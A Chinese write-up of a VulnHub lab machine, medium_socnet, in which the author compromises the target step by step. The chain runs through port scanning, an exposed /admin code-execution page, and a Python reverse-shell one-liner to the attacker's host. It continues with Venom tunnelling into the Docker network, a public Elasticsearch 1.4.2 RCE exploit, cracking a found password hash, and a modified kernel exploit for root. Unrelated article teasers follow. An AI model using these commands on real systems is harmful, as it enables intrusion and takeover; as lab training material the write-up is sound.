打靶笔记--medium_socnet

news2024/12/26 10:49:59

medium_socnet

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

内容简介:

这是本系列的第04次打靶,我选择了一个中等难度的靶机。在这次打靶过程中,我们将使用到以下攻击手段:

主机发现

端口扫描

服务发现

路径爬取

代码注入

Shell脚本

内网信息收集

内网穿透

漏洞利用

密码破解

本地提权

攻击代码修改

打靶过程:

arp-scan -l   //主机发现192.168.2.19为靶机

对ip进行扫描,扫描发现开启22,5000端口

Nmap -p- 192.168.2.19

对端口进行服务扫描

Nmap -p22,5000 -sV 192.168.2.19

22端口是ssh服务,5000是http服务,访问5000端口

既然是web网站,那肯定要浏览器访问看看,这个靶场开放的web页面非常的简单,只有一个类似于评论的输入框,这种地方可以考虑试一下xss,或者是sql注入,经过简单的测试,并没有成功,然后考虑继续做其他的信息收集,之后如果实在没有突破点,再来尝试此处。

使用dirsearch进行路径爆破,发现一个/admin路径

Dirsearch -u http://192..168.2.19:5000

访问/admin这个路径,发现这是一个代码执行页面

代码注入

使用python反弹shell代码将ip和端口改为kali的,并再kali进行监听

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.14",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

反弹成功ls看一下路径,id 看一下权限,直接是root权限??细看一下存在一个Dockerfile文件这应该是一个docker容器的root权限

为了进一步确认是否是docker容器,有两种方法第一种查看根目录下是否有/.dockerenv

第二种方法cat /proc/1/cgroup查看是否存在docker的哈希值,验证发现这就是一个docker容器

那么就要从docker容器中突破出来,先查看docker的ip,172.17.0.3

 

在内网进行主机发现最简单的方法就是进行ping,内网的网段地址段很大,手工ping效率太低所以使用脚本进行,这就不扫描65535个了就扫10个

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

经扫描发现172.17.0.1和172.17.0.2两个网段回包了,因为172是内网网段,所以要通过隧道攻击,这里使用的Venom

现在服务端启动监听

./admin_linux_x64 -lport 9999

客户端需要下载,进入到客户端所在的目录,在kali启动一个http服务

Wget去访问下载客户端

Wget http://192.168..14:80/agent_linux_x64

查看一下已经存在,赋予可执行权限

Chmod +x agent_linux_x64

启动客户端

./agent_linux_x64 -rhost 192.168.2.14 -rport 9999

服务端已经监听到了

Show //查看一下节点

Goto 1 //进入节点1

Socks 1080  //设置一个socks代理

设置配置文件,将最底部改为socks5 127.0.0.1 1080

vi /etc/proxychains4.conf

这样就可以使用kali上的扫描工具对内网进行扫描了

proxychains nmap -Pn -sT 172.17.0.1

扫描发现两个端口22,5000

继续对服务版本进行扫描

proxychains nmap -P22,5000 -sV -Pn -sT 172.17.0.1

既然也存在http服务那就访问一下,这里需要修改浏览器的代理,改为刚才设置的socks的代理

访问之后和另一个页面是一样的,说明这个ip是目标的宿主机

接下来对172.17.0.2进行扫描

proxychains nmap -Pn -sT 172.17.0.2

扫描只发现了一个9200端口

对9200进行版本扫描

proxychains nmap -p9200 -sV -Pn -sT 172.17.0.2

扫描发现是Elasticsearch服务版本是1.4.2,Elasticsearch历史版本出现过RCE远程代码执行漏洞,那么会不会存在漏洞呢,kali中存在很多漏洞利用代码。

使用kali搜索一下

searchsploit elasticsearch

前两个是RCE远程代码执行的代码,可以挨个试一下

拷贝一下这个文件

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

查看代码是用python2来写的那么直接用python2来调用,id发现又获得一个root权限

proxychains python2 36337.py 172.17.0.2

根目录下存在一个password文件

查看一下这个文件获得了密码和用户名,密码是哈希值那么就破解一下(MD5)。

试想一下这个账号和密码是用来登录什么的呢,目前只有一个ssh可以尝试一下

登录ssh试一下账号john,密码是1337hack竟然登录成功了

Ssh john@192.168.2.19

查看一下权限,尝试一下能不能直接sudo -s提升为root权限,发现不行没有sudo权限

那么怎么才能提升权限呢?查看一下内核是3.13的古老内核,可以尝试一下内核提取

搜索一下

searchsploit linux 3.13  

从中随便挑选一个,拷贝下来,然后查看一下这个文件

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

Vi 37292.c

查看得知这是一个C语言的源码,需要执行先要进行编译使用gcc进行编译,编译之后进行执行。可是在宿主机上没有安装gcc

因此我对源码进行了修改,删除调用gcc的部分源代码后进行编译

修改后在对源码进行编译,编译过程会报错但是并不影响输出结果

Gcc -o exp 37292.c

查看源码是发现还需要一个二进制文件ofs-lib.so,找到源代码中调用gcc编译的那个源代码文件的编译好的文件

Locate ofs-lib.so

将这个文件拷贝到当前目录下

cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

启动http服务

Python3 -m http.server 80

Wget http://192.168.2.14/exp

Wget http://192.168.2.14/ofs-lib.so

将两个文件下载下来

赋予可执行权限

Chmod +x exp

为了执行效果的成功,把这两个文件拷贝到目标靶机的tmp目录下,进入tmp目录

Mv * /tmp/

执行exp成功获取root权限

总结:面对靶机,先进行了主机发现,之后针对已经发现的主机进行了端口扫描以及服务的扫描,当扫描结束之后,发现目标主机存在5000端口的web应用,尝试访问web应用,在web应用下没有收获任何漏洞,之后对web应用进行路径发现,发现了一个/admin的后台页面,在该后台地址发现了远程代码执行漏洞,利用反弹shell获取到了一个root权限,但是该root权限是一个容器系统,然后基于该容器系统对其内网的Ip地址段进行发现,发现过程中,识别出两个内网主机的IP地址,之后挂取代理进行内网穿透,对这两个地址进行全端口扫描,在扫描过程中,发现了在一台主机上发现了9000端口,该端口是Elasticserch的默认端口,又都Elasticserch进行漏洞的利用和攻击,成功拿下了172.17.0.2这台主机,在这台主机中发现了passwords这个文件,对其进行解密后,利用发现的用户名和密码对目标主机进行尝试登录,登录后发现只是一个普通用户权限,因目标主机使用的是内核较老的linux发行版,所以此时使用最直接的提权方法:针对内核的提权。但是漏洞利用代码无法直接在目标系统进行gcc的编译,所以只能修改代码,重新编译,然后将编译后的代码和库文件一起传输的目标系统,然后进行提权,获取到root权限

扫描发现5000端口 -> 服务探测发现web服务 -> 网站路径扫描发现管理页面 -> 利用代码执行获取shell -> 判断docker容器 -> 做内网穿透开始探测内网 -> 发现同网段docker容器漏洞并利用获取shell -> 信息收集找到普通用户密码 -> 在线网站密码破解登录靶机ssh服务 -> 最后利用提权exp成功获得root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2046231.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

javaEE WebServlet、SpringWebMVC、SpringBoot实现跨域访问的4种方式及优先级,nginx配置跨域

文章目录 1. 前置知识2. 原理和解决方案总结2.1. 跨域不通过原理流程图2.2. 实现原理:添加以下http响应头2.3. 四种跨域实现方式及优先级(从高到低) 3. 具体实现代码3.1. 跨域全局配置方式-Filter(全适用)3.2. 跨域全局配置方式-SpringMvc3.3…

鸿蒙内核源码分析(内存规则篇) | 内存管理到底在管什么

先说如果没有内存管理会怎样? 那就是个奴才们能把主子给活活踩死, 想想主奴不分,吃喝拉撒睡都在一起,称兄道弟的想干啥? 没规矩不成方圆嘛,这事业肯定搞不大,单片机时代就是这种情况. 裸机编程,指针可以…

【笔记】MSPM0G3507使用RT-Thread FinSH——MSPM0G3507与RT_Thread(四)

接上篇 KEIL 添加 FinSH 源码 添加自己的函数实现rt_hw_console_getchar 修改为: #include "C:\ti\mspm0_sdk_2_01_00_03\examples\nortos\LP_MSPM0G3507\driverlib\G3507_RTT\ti_msp_dl_config.h"//ti_msp_dl_config.h的绝对地址RT_WEAK char rt_hw_con…

Java知识点一——列表、表格与媒体元素

显示表格边框&#xff1a;<table border"1"></table> 因为初始的表格是没有边框的 collapse相邻的单元格共用同一条边框&#xff08;采用 collapsed-border 表格渲染模型&#xff09;。 separate默认值。每个单元格拥有独立的边框&#xff08;采用 sep…

Haskell爬虫中日志记录:监控HTTP请求与响应

在当今信息爆炸的时代&#xff0c;数据抓取成为了获取信息的重要手段。Haskell&#xff0c;以其强大的类型系统和函数式编程特性&#xff0c;成为了编写高效、可靠爬虫的理想选择。然而&#xff0c;随着爬虫的运行&#xff0c;监控其行为变得尤为重要。本文将探讨如何在Haskell…

ROS2从入门到精通2-4:Rviz2插件制作案例(以工具栏和多点导航插件为例)

目录 0 专栏介绍1 Rviz2插件2 项目配置3 案例一&#xff1a;工具栏插件4 案例二&#xff1a;多点导航插件5 综合演示5.1 添加插件5.2 多点巡航 0 专栏介绍 本专栏旨在通过对ROS2的系统学习&#xff0c;掌握ROS2底层基本分布式原理&#xff0c;并具有机器人建模和应用ROS2进行实…

企业图纸防泄密的最佳方案,10款好用的图纸加密软件排行榜

在数字化时代&#xff0c;企业的图纸文件往往包含了极其重要的知识产权和技术秘密&#xff0c;因此保护这些图纸的安全至关重要。有效的图纸加密不仅能防止未授权访问&#xff0c;还能确保图纸在内外部流转过程中的完整性与安全性。本文将介绍十款2024年市场上评价较高的图纸加…

基于Mysql的商业辅助决策系统的设计与实现

TOC springboot295基于Mysql的商业辅助决策系统的设计与实现 第1章 绪论 1.1 课题背景 二十一世纪互联网的出现&#xff0c;改变了几千年以来人们的生活&#xff0c;不仅仅是生活物资的丰富&#xff0c;还有精神层次的丰富。在互联网诞生之前&#xff0c;地域位置往往是人们…

零-STM32与嵌入式

目录 一、嵌入式概述 二、微控制器的关系 三、STM32的学习原因 四、STM32的应用领域 五、STM32的就业前景 六、STM32开发方式 (1) 寄存器开发&#xff08;自己做饭&#xff0c;自己吃&#xff09; (2) 函数库开发&#xff08;别人做饭&#xff0c;自己吃&#xff09; …

喜报 亚信安全再次入选湖北省网络安全应急技术支撑单位

近日&#xff0c;中共湖北省委网络安全和信息化委员会办公室和国家计算机网络应急技术处理协调中心湖北分中心公布了《关于开展第二届湖北省网络安全应急技术支撑单位评选工作的通知》&#xff0c;亚信安全凭优秀的产品技术实力和丰富的安全服务实践经验&#xff0c;连续两届成…

调研适合c++训练和部署的框架

目录 1. caffe 2. TensorFlow 3. Pytorch 4. PaddlePaddle 5. darknet 1. caffe GitHub - BVLC/caffe: Caffe: a fast open framework for deep learning. Caffe (Convolutional Architecture for Fast Feature Embedding) Caffe是一个早期流行的深度学习框架&#xff0…

GreptimeDB融资数百万美元; Oracle提供免费长期MySQL; 谷歌大模型支持云数据库问题洞察

重要更新 1. 开源时序数据库 GreptimeDB宣布完成数百万美元的新一轮融资。GreptimeDB是一款Rust 语言编写的时序数据库&#xff0c;具有分布式&#xff0c;开源&#xff0c;云原生&#xff0c;兼容性强等特点&#xff0c;帮助企业实时读写、处理和分析时序数据的同时&#xff0…

Linux设备驱动——模块的构造、运行与设计 与众不同的hello world与点灯

编写一个Linux下的设备驱动&#xff0c;首先要准备好对应内核版本的内核源码树文件。 该系列的全部文章都以嵌入式系统的ARM-Linux的环境进行阐述&#xff0c;并以交叉编译的方式在主机Ubuntu20.04系统上编译和ARM开发板上跑测 (E2000Q、H616、或者IMX6ULL看情况交叉着使用) 关…

MySQL基础练习题44-只出现一次的最大数字

目录 题目 情况一 准备数据 分析数据 情况二 准备数据 实现一 题目 单一数字 是在 MyNumbers 表中只出现一次的数字。 找出最大的 单一数字 。如果不存在 单一数字 &#xff0c;则返回 null 。 情况一 准备数据 ## 创建库 create database db; use db;## 创建表 Cre…

腾讯云短信正文模板每个变量取值最多支持6个字符出现的问题及应对方法

目录 一、参考链接二、应对方法 一、参考链接 对于长期未使用的账号及 2024 年 1 月 25 日后开通的新账号&#xff0c;腾讯云对短信正文模板的变量进行了限制&#xff1a; 验证码短信&#xff1a;每个变量取值最多支持6位纯数字。 非验证码短信&#xff1a;每个变量取值最多支…

MySQL架构设计

MySQL架构设计 查询语句&#xff1a; select * from users;返回结果为&#xff1a; 问题&#xff1a; 一条SQL查询语句是如何执行的&#xff1f; Server层 MySQL架构可以分为server层和Engine层两部分&#xff1a; 连接器&#xff08;connector&#xff09; 1. 连接管理 …

关于python中的get,set方法

一般在python面向对象中&#xff0c;每个类内都会有其所对应的属性。 而在定义属性值的时候&#xff0c;可能还得会对这些属性值进行修改和获取。为了确保代码的安全性&#xff0c;封装性和可操作性&#xff0c;我们可以使用get&#xff0c;set方式去操控。 get方法用于获取属…

贝莱德与摩根大通的最新季度持仓分析

近期&#xff0c;华尔街的两大投资巨头贝莱德和摩根大通公布了其2024年第二季度的13F报告&#xff0c;揭示了他们在投资组合上的最新动向。通过分析这些持仓数据&#xff0c;我们可以更清楚地了解这些顶级投资机构的投资策略和市场偏好。 贝莱德的科技巨头与能源投资 根据贝莱…

Trilium Notes:你的个人知识库!【送源码】

简介 Trilium Notes是一款功能全面的层次化笔记应用&#xff0c;通过树形结构构建个人知识库&#xff0c;支持Markdown编辑、网页内容剪切、笔记搜索与映射&#xff0c;并特别提供了基于画布的自由涂画功能&#xff0c;极大地提升了笔记的灵活性和创造性&#xff0c;是知识管理…

移动UI:把握好这9点,轻松设计积分兑换页面。

设计移动UI的积分兑换页面需要考虑用户体验和交互设计&#xff0c;以下是一些设计建议&#xff1a; 1. 清晰的积分信息展示&#xff1a; 在页面顶部或者中间位置展示用户当前的积分数量&#xff0c;让用户清晰地了解自己的积分情况。 2. 商品列表展示&#xff1a; 以列表或者…